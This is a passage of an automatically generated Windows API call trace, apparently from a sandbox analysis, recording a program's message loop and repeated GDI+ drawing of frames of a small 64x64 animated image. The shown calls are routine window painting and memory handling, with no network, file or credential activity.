hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3ea0) returned 0x0 [0122.209] CoTaskMemFree (pv=0x1afd3ea0) [0122.209] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x6) returned 0x0 [0122.212] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0122.212] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0122.212] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0122.212] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0122.212] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x5801018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0122.212] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.212] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5801018a) returned 0x0 [0122.212] SelectObject (hdc=0x5801018a, h=0x185000f) returned 0x1a05067e [0122.212] DeleteDC (hdc=0x5801018a) returned 1 [0122.212] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.212] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0122.212] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0122.212] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0122.213] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0122.213] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0122.213] WaitMessage () returned 1 [0122.385] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0122.385] IsWindowUnicode (hWnd=0x2031e) returned 1 [0122.385] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0122.385] TranslateMessage (lpMsg=0x15e910) returned 0 [0122.385] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0122.385] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0122.385] GetCurrentThreadId () returned 0xec0 [0122.385] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0122.385] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0122.385] IsWindowUnicode (hWnd=0x2031e) returned 1 [0122.385] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0122.385] TranslateMessage (lpMsg=0x15e910) returned 0 [0122.385] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0122.385] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0122.386] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0122.386] CreateCompatibleDC (hdc=0x1010b9d) returned 0x5901018a [0122.386] SelectObject (hdc=0x5901018a, h=0x1a05067e) returned 0x185000f [0122.386] GdipCreateFromHDC (hdc=0x5901018a, graphics=0x15daf0) returned 0x0 [0122.386] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0122.386] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0122.386] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0122.386] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0122.386] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0122.386] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0eb0 [0122.386] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a0eb0) returned 0x0 [0122.387] LocalFree (hMem=0x1e7a0eb0) returned 0x0 [0122.387] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.387] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0122.387] GdipCreateRegion (region=0x15dc20) returned 0x0 [0122.387] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0122.387] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0122.387] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0122.387] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0122.387] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0122.387] GetSystemMetrics (nIndex=42) returned 0 [0122.387] CoTaskMemAlloc (cb=0x6) returned 0x1afd3ea0 [0122.387] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3ea0, nMaxCount=1 | out: lpString="") returned 0 [0122.387] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3ea0) returned 0x0 [0122.388] CoTaskMemFree (pv=0x1afd3ea0) [0122.388] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0122.388] GdipCreateRegion (region=0x15d710) returned 0x0 [0122.388] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0122.388] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0122.388] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0122.388] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0122.388] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0eb0 [0122.388] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a0eb0) returned 0x0 [0122.388] LocalFree (hMem=0x1e7a0eb0) returned 0x0 [0122.389] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0122.389] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0eb0 [0122.389] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a0eb0) returned 0x0 [0122.389] LocalFree (hMem=0x1e7a0eb0) returned 0x0 [0122.389] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.389] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0122.389] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0122.389] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0122.389] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0122.389] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.389] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0122.389] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0122.389] GetCurrentObject (hdc=0x5901018a, type=0x1) returned 0x1b00017 [0122.389] GetCurrentObject (hdc=0x5901018a, type=0x2) returned 0x1900010 [0122.390] GetCurrentObject (hdc=0x5901018a, type=0x7) returned 0x1a05067e [0122.390] GetCurrentObject (hdc=0x5901018a, type=0x6) returned 0x18a002e [0122.390] SaveDC (hdc=0x5901018a) returned 1 [0122.390] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x660407c3 [0122.390] GetClipRgn (hdc=0x5901018a, hrgn=0x660407c3) returned 0 [0122.390] SelectClipRgn (hdc=0x5901018a, hrgn=0x36040b8a) returned 2 [0122.390] DeleteObject (ho=0x660407c3) returned 1 [0122.390] DeleteObject (ho=0x36040b8a) returned 1 [0122.390] OffsetViewportOrgEx (in: hdc=0x5901018a, x=0, y=0, lppt=0x275a7b8 | out: lppt=0x275a7b8) returned 1 [0122.390] GetNearestColor (hdc=0x5901018a, color=0xffffff) returned 0xffffff [0122.390] CreateSolidBrush (color=0xffffff) returned 0x3e100190 [0122.391] FillRect (hDC=0x5901018a, lprc=0x15d7c0, hbr=0x3e100190) returned 1 [0122.391] DeleteObject (ho=0x3e100190) returned 1 [0122.391] RestoreDC (hdc=0x5901018a, nSavedDC=-1) returned 1 [0122.391] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.391] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5901018a) returned 0x0 [0122.391] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd6a0dbd) returned 0x0 [0122.391] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.391] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0122.391] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0122.391] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0122.391] GetSystemMetrics (nIndex=42) returned 0 [0122.391] CoTaskMemAlloc (cb=0x6) returned 0x1afd3ea0 [0122.391] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3ea0, nMaxCount=1 | out: lpString="") returned 0 [0122.391] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3ea0) returned 0x0 [0122.391] CoTaskMemFree (pv=0x1afd3ea0) [0122.391] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0122.391] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0122.391] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0122.392] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0122.392] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x5901018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0122.392] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.392] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5901018a) returned 0x0 [0122.392] SelectObject (hdc=0x5901018a, h=0x185000f) returned 0x1a05067e [0122.392] DeleteDC (hdc=0x5901018a) returned 1 [0122.392] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.392] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0122.392] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0122.392] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0122.392] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0122.392] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0122.392] WaitMessage () returned 1 [0122.623] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0122.623] IsWindowUnicode (hWnd=0x2031e) returned 1 [0122.623] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0122.623] TranslateMessage (lpMsg=0x15e910) returned 0 [0122.623] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0122.623] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0122.623] GetCurrentThreadId () returned 0xec0 [0122.623] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0122.623] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0122.623] IsWindowUnicode (hWnd=0x2031e) returned 1 [0122.623] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0122.623] TranslateMessage (lpMsg=0x15e910) returned 0 [0122.623] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0122.623] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0122.624] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0122.624] CreateCompatibleDC (hdc=0x1010b9d) returned 0x5a01018a [0122.624] SelectObject (hdc=0x5a01018a, h=0x1a05067e) returned 0x185000f [0122.624] GdipCreateFromHDC (hdc=0x5a01018a, graphics=0x15daf0) returned 0x0 [0122.624] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0122.624] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0122.624] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0122.624] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0122.624] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0122.624] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0eb0 [0122.624] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a0eb0) returned 0x0 [0122.625] LocalFree (hMem=0x1e7a0eb0) returned 0x0 [0122.625] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.625] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0122.625] GdipCreateRegion (region=0x15dc20) returned 0x0 [0122.625] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0122.625] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0122.625] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0122.626] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0122.626] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0122.626] GetSystemMetrics (nIndex=42) returned 0 [0122.626] CoTaskMemAlloc (cb=0x6) returned 0x1afd3ea0 [0122.626] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3ea0, nMaxCount=1 | out: lpString="") returned 0 [0122.626] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3ea0) returned 0x0 [0122.626] CoTaskMemFree (pv=0x1afd3ea0) [0122.626] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0122.626] GdipCreateRegion (region=0x15d710) returned 0x0 [0122.627] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0122.627] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0122.627] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0122.627] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0122.627] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0eb0 [0122.627] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a0eb0) returned 0x0 [0122.627] LocalFree (hMem=0x1e7a0eb0) returned 0x0 [0122.627] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0122.627] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0eb0 [0122.627] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a0eb0) returned 0x0 [0122.628] LocalFree (hMem=0x1e7a0eb0) returned 0x0 [0122.628] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.628] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0122.628] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0122.628] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0122.628] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0122.628] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.628] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0122.629] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0122.629] GetCurrentObject (hdc=0x5a01018a, type=0x1) returned 0x1b00017 [0122.629] GetCurrentObject (hdc=0x5a01018a, type=0x2) returned 0x1900010 [0122.629] GetCurrentObject (hdc=0x5a01018a, type=0x7) returned 0x1a05067e [0122.629] GetCurrentObject (hdc=0x5a01018a, type=0x6) returned 0x18a002e [0122.629] SaveDC (hdc=0x5a01018a) returned 1 [0122.629] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x37040b8a [0122.629] GetClipRgn (hdc=0x5a01018a, hrgn=0x37040b8a) returned 0 [0122.629] SelectClipRgn (hdc=0x5a01018a, hrgn=0x670407c3) returned 2 [0122.629] DeleteObject (ho=0x37040b8a) returned 1 [0122.629] DeleteObject (ho=0x670407c3) returned 1 [0122.629] OffsetViewportOrgEx (in: hdc=0x5a01018a, x=0, y=0, lppt=0x27603b0 | out: lppt=0x27603b0) returned 1 [0122.629] GetNearestColor (hdc=0x5a01018a, color=0xffffff) returned 0xffffff [0122.630] CreateSolidBrush (color=0xffffff) returned 0x3f100190 [0122.630] FillRect (hDC=0x5a01018a, lprc=0x15d7c0, hbr=0x3f100190) returned 1 [0122.630] DeleteObject (ho=0x3f100190) returned 1 [0122.630] RestoreDC (hdc=0x5a01018a, nSavedDC=-1) returned 1 [0122.630] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.630] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5a01018a) returned 0x0 [0122.630] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd680dbd) returned 0x0 [0122.630] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.630] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0122.630] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0122.630] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0122.630] GetSystemMetrics (nIndex=42) returned 0 [0122.630] CoTaskMemAlloc (cb=0x6) returned 0x1afd3ea0 [0122.630] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3ea0, nMaxCount=1 | out: lpString="") returned 0 [0122.630] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3ea0) returned 0x0 [0122.631] CoTaskMemFree (pv=0x1afd3ea0) [0122.631] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x8) returned 0x0 [0122.633] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0122.633] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0122.633] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0122.633] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0122.633] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x5a01018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0122.633] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.633] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5a01018a) returned 0x0 [0122.633] SelectObject (hdc=0x5a01018a, h=0x185000f) returned 0x1a05067e [0122.633] DeleteDC (hdc=0x5a01018a) returned 1 [0122.633] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.634] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0122.634] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0122.634] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0122.634] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0122.634] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0122.634] WaitMessage () returned 1 [0122.827] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0122.827] IsWindowUnicode (hWnd=0x2031e) returned 1 [0122.827] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0122.828] TranslateMessage (lpMsg=0x15e910) returned 0 [0122.828] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0122.828] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0122.828] GetCurrentThreadId () returned 0xec0 [0122.828] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0122.828] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0122.828] IsWindowUnicode (hWnd=0x2031e) returned 1 [0122.828] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0122.828] TranslateMessage (lpMsg=0x15e910) returned 0 [0122.828] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0122.828] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0122.828] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0122.828] CreateCompatibleDC (hdc=0x1010b9d) returned 0x5b01018a [0122.829] SelectObject (hdc=0x5b01018a, h=0x1a05067e) returned 0x185000f [0122.829] GdipCreateFromHDC (hdc=0x5b01018a, graphics=0x15daf0) returned 0x0 [0122.829] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0122.829] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0122.829] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0122.829] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0122.829] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0122.829] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0eb0 [0122.829] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a0eb0) returned 0x0 [0122.830] LocalFree (hMem=0x1e7a0eb0) returned 0x0 [0122.830] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.830] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0122.830] GdipCreateRegion (region=0x15dc20) returned 0x0 [0122.830] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0122.830] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0122.830] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0122.830] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0122.830] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0122.830] GetSystemMetrics (nIndex=42) returned 0 [0122.830] CoTaskMemAlloc (cb=0x6) returned 0x1afd3ea0 [0122.830] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3ea0, nMaxCount=1 | out: lpString="") returned 0 [0122.830] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3ea0) returned 0x0 [0122.830] CoTaskMemFree (pv=0x1afd3ea0) [0122.831] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0122.831] GdipCreateRegion (region=0x15d710) returned 0x0 [0122.831] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0122.831] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0122.831] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0122.831] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0122.831] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0eb0 [0122.831] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a0eb0) returned 0x0 [0122.831] LocalFree (hMem=0x1e7a0eb0) returned 0x0 [0122.831] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0122.832] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0eb0 [0122.832] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a0eb0) returned 0x0 [0122.832] LocalFree (hMem=0x1e7a0eb0) returned 0x0 [0122.832] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.832] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0122.832] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0122.832] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0122.832] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0122.832] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.832] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0122.832] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0122.833] GetCurrentObject (hdc=0x5b01018a, type=0x1) returned 0x1b00017 [0122.833] GetCurrentObject (hdc=0x5b01018a, type=0x2) returned 0x1900010 [0122.833] GetCurrentObject (hdc=0x5b01018a, type=0x7) returned 0x1a05067e [0122.833] GetCurrentObject (hdc=0x5b01018a, type=0x6) returned 0x18a002e [0122.833] SaveDC (hdc=0x5b01018a) returned 1 [0122.833] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x680407c3 [0122.833] GetClipRgn (hdc=0x5b01018a, hrgn=0x680407c3) returned 0 [0122.833] SelectClipRgn (hdc=0x5b01018a, hrgn=0x38040b8a) returned 2 [0122.833] DeleteObject (ho=0x680407c3) returned 1 [0122.833] DeleteObject (ho=0x38040b8a) returned 1 [0122.833] OffsetViewportOrgEx (in: hdc=0x5b01018a, x=0, y=0, lppt=0x2769988 | out: lppt=0x2769988) returned 1 [0122.833] GetNearestColor (hdc=0x5b01018a, color=0xffffff) returned 0xffffff [0122.833] CreateSolidBrush (color=0xffffff) returned 0x40100190 [0122.833] FillRect (hDC=0x5b01018a, lprc=0x15d7c0, hbr=0x40100190) returned 1 [0122.833] DeleteObject (ho=0x40100190) returned 1 [0122.834] RestoreDC (hdc=0x5b01018a, nSavedDC=-1) returned 1 [0122.834] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.834] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5b01018a) returned 0x0 [0122.834] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd660dbd) returned 0x0 [0122.834] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0122.834] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0122.834] GetWindowTextLengthW (hWnd=0x2031e) returned 0 